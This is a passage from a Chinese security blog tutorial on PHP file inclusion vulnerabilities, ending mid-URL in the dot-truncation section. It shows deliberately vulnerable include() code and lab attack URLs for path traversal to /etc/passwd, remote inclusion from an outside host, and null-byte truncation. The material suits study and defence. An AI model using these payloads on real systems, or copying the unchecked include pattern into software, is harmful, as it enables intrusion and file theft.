WEB安全之:文件包含

本文详细探讨了PHP中的文件包含漏洞,包括无限制和有限制文件包含的测试与绕过方法,如%00截断、号截断、路径截断等。同时,介绍了PHP伪协议的应用,如php://input用于读取和写入POST数据,以及如何利用这些技巧进行安全防护。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

包含文件(include file)。这种功能允许开发者把可重复使用的代码插入到单个的文件中,并在需要时将它们包含在特殊功能的代码文件中。

程序在引用文件的时,对传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。

1 PHP 中文件包含函数

require()

require_once()

include()

include_once()

includerequire 主要区别是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而 require 函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once() 主要区别是,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包含超过一次的情况。

2 无限制文件包含绕过

2.1 无限制文件包含测试语句

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

2.2 本地文件包含绕过

在服务器上获取通过正常途径无法访问的文件

http://include.lab.com/include/file01.php?file=../../../../../../../../../../../../etc/passwd

2.3 远程文件包含绕过

前提条件

  • php.ini 中开启以下功能
// 是否允许打开远程文件
allow_url_fopen = On
// 是否允许 include/require 远程文件
allow_url_include = On

利用远程的恶意包含文件,获取当前系统信息

http://include.lab.com/include/include01.php?filename=http://192.168.100.129/phpinfo

cat phpinfo
<?php phpinfo();?>

3 有限制文件包含绕过

3.1 限制文件类型的文件包含测试语句

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

3.2 有限制本地文件包含绕过

3.2.1 %00 截断绕过

前提条件

  • magic_quotes_gpc = Off :当打开magic_quotes_gpc 时,所有的 '(单引号),"(双引号),(反斜线)和 NULL字符(%00) 都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用,如:addslashes()、mysql_escape_string()、mysql_real_escape_string()
  • php 版本 < 5.3.4
http://include.lab.com/include02.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini%00

http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo%00

cat phpinfo
<?php phpinfo();?>

3.2.2 . 号截断绕过

前提条件

  • PHP 版本 < 5.2.9
  • 若 Linux 文件名 > 4096 字节,超出的部分会被丢弃;
  • 若 Windows 文件名 > 256 字节,超出的部分会被丢弃;
windows:
http://include.lab.com/include02.php?filen
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值